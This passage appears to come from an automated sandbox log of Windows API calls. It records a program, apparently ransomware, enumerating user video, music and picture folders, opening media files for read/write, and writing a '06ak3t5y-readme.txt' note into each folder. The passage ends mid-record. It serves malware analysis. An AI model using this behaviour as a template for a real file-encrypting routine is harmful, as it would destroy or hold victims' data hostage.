PathFindExtensionW (pszPath="d_we.flv") returned=".flv" [0111.406] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x9a9c) returned 0x450aa08 [0111.406] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\d_wE.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\d_we.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x41c [0111.406] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x76) returned 0x36a0a80 [0111.407] CreateIoCompletionPort (FileHandle=0x41c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.407] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x450aa08) returned 1 [0111.408] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950f1a80, ftCreationTime.dwHighDateTime=0x1d7505b, ftLastAccessTime.dwLowDateTime=0x7bb15a50, ftLastAccessTime.dwHighDateTime=0x1d755ae, ftLastWriteTime.dwLowDateTime=0x7bb15a50, ftLastWriteTime.dwHighDateTime=0x1d755ae, nFileSizeHigh=0x0, nFileSizeLow=0xd7bd, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="VG-iIm5P4w8rjZV.mp4", cAlternateFileName="VG-IIM~1.MP4")) returned 1 [0111.408] PathFindExtensionW (pszPath="vg-iim5p4w8rjzv.mp4") returned=".mp4" [0111.408] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xd90d) returned 0x45144b0 [0111.408] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\VG-iIm5P4w8rjZV.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\vg-iim5p4w8rjzv.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x420 [0111.409] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8c) returned 0x20784f8 [0111.410] CreateIoCompletionPort (FileHandle=0x420, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.410] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x45144b0) returned 1 [0111.410] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d20bf60, ftCreationTime.dwHighDateTime=0x1d75860, ftLastAccessTime.dwLowDateTime=0x8a5d37e0, ftLastAccessTime.dwHighDateTime=0x1d75c6b, ftLastWriteTime.dwLowDateTime=0x8a5d37e0, ftLastWriteTime.dwHighDateTime=0x1d75c6b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="X S0iscqfU24AFGb", cAlternateFileName="XS0ISC~1")) returned 1 [0111.410] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400b0 [0111.410] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x88) returned 0x30a9cf0 [0111.410] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xae) returned 0x3686ad0 [0111.410] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424 [0111.410] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3686ad0) returned 1 [0111.410] WriteFile (in: hFile=0x424, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.411] CloseHandle (hObject=0x424) returned 1 [0111.411] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10c5f1b0, ftCreationTime.dwHighDateTime=0x1d759f0, ftLastAccessTime.dwLowDateTime=0x4fb99470, ftLastAccessTime.dwHighDateTime=0x1d75b81, ftLastWriteTime.dwLowDateTime=0x4fb99470, ftLastWriteTime.dwHighDateTime=0x1d75b81, nFileSizeHigh=0x0, nFileSizeLow=0x62cd, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="X9RHt4PkF8UQ.flv", cAlternateFileName="X9RHT4~1.FLV")) returned 1 [0111.412] PathFindExtensionW (pszPath="x9rht4pkf8uq.flv") returned=".flv" [0111.412] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x641d) returned 0x4798d60 [0111.412] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X9RHt4PkF8UQ.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x9rht4pkf8uq.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x424 [0111.412] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x86) returned 0x30a9d80 [0111.414] CreateIoCompletionPort (FileHandle=0x424, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.414] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4798d60) returned 1 [0111.414] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4258ec00, ftCreationTime.dwHighDateTime=0x1d759dc, ftLastAccessTime.dwLowDateTime=0xc6a6f730, ftLastAccessTime.dwHighDateTime=0x1d75cc6, ftLastWriteTime.dwLowDateTime=0xc6a6f730, ftLastWriteTime.dwHighDateTime=0x1d75cc6, nFileSizeHigh=0x0, nFileSizeLow=0xbae3, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="YjACMF.flv", cAlternateFileName="")) returned 1 [0111.414] PathFindExtensionW (pszPath="yjacmf.flv") returned=".flv" [0111.414] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xbc33) returned 0x4521dc8 [0111.415] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\YjACMF.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\yjacmf.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x428 [0111.415] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7a) returned 0x367b128 [0111.417] CreateIoCompletionPort (FileHandle=0x428, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.417] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4521dc8) returned 1 [0111.417] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb65f5920, ftCreationTime.dwHighDateTime=0x1d75065, ftLastAccessTime.dwLowDateTime=0x34679160, ftLastAccessTime.dwHighDateTime=0x1d75a5d, ftLastWriteTime.dwLowDateTime=0x34679160, ftLastWriteTime.dwHighDateTime=0x1d75a5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="ZdWuS5tcKVrW0", cAlternateFileName="ZDWUS5~1")) returned 1 [0111.417] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402e0 [0111.417] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x82) returned 0x30a9e10 [0111.417] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa8) returned 0x36788a8 [0111.417] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\ZdWuS5tcKVrW0\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\zdwus5tckvrw0\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0111.418] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36788a8) returned 1 [0111.418] WriteFile (in: hFile=0x42c, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.419] CloseHandle (hObject=0x42c) returned 1 [0111.419] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb65f5920, ftCreationTime.dwHighDateTime=0x1d75065, ftLastAccessTime.dwLowDateTime=0x34679160, ftLastAccessTime.dwHighDateTime=0x1d75a5d, ftLastWriteTime.dwLowDateTime=0x34679160, ftLastWriteTime.dwHighDateTime=0x1d75a5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="zdwus5tckvrw0", cAlternateFileName="ZDWUS5~1")) returned 0 [0111.419] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.419] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x208ec30) returned 1 [0111.419] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040090) returned 1 [0111.419] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x40a8f20, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x40a8f20, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.419] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x40a8f20, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x40a8f20, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.419] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a8f20, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x40a8f20, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x40ab630, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.419] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.420] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1 [0111.420] PathFindExtensionW (pszPath="kalimba.mp3") returned=".mp3" [0111.420] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x100150) returned 0x47a0020 [0111.420] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x42c [0111.421] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x20689e0 [0111.422] CreateIoCompletionPort (FileHandle=0x42c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.422] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x47a0020) returned 1 [0111.422] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1 [0111.422] PathFindExtensionW (pszPath="maid with the flaxen hair.mp3") returned=".mp3" [0111.422] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x100150) returned 0x48b0020 [0111.423] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x430 [0111.423] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8a) returned 0x2078590 [0111.424] CreateIoCompletionPort (FileHandle=0x430, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.424] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x48b0020) returned 1 [0111.424] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1 [0111.424] PathFindExtensionW (pszPath="sleep away.mp3") returned=".mp3" [0111.424] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x100150) returned 0x49c0020 [0111.425] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x434 [0111.425] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6c) returned 0x30ee620 [0111.426] CreateIoCompletionPort (FileHandle=0x434, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.426] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x49c0020) returned 1 [0111.426] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="sleep away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 0 [0111.426] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.426] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086778) returned 1 [0111.426] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040040) returned 1 [0111.426] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x40b0450, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x40b0450, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.427] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x40b0450, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x40b0450, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.427] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b0450, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x40b0450, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x40b2b60, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.427] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1 [0111.427] PathFindExtensionW (pszPath="chrysanthemum.jpg") returned=".jpg" [0111.427] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xd6c72) returned 0x4ad0020 [0111.427] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x438 [0111.428] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7e) returned 0x367b1b0 [0111.429] CreateIoCompletionPort (FileHandle=0x438, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.429] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4ad0020) returned 1 [0111.429] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Desert.jpg", cAlternateFileName="")) returned 1 [0111.429] PathFindExtensionW (pszPath="desert.jpg") returned=".jpg" [0111.429] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xce9c5) returned 0x4bb0020 [0111.430] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x43c [0111.430] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x70) returned 0x30ee698 [0111.431] CreateIoCompletionPort (FileHandle=0x43c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.431] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4bb0020) returned 1 [0111.431] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.431] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1 [0111.431] PathFindExtensionW (pszPath="hydrangeas.jpg") returned=".jpg" [0111.431] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x916a4) returned 0x4c80020 [0111.432] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x440 [0111.432] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x78) returned 0x36a0a00 [0111.434] CreateIoCompletionPort (FileHandle=0x440, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.434] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4c80020) returned 1 [0111.434] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1 [0111.434] PathFindExtensionW (pszPath="jellyfish.jpg") returned=".jpg" [0111.434] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xbd766) returned 0x4d20020 [0111.434] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x444 [0111.436] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x76) returned 0x369f280 [0111.437] CreateIoCompletionPort (FileHandle=0x444, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.437] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4d20020) returned 1 [0111.437] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, 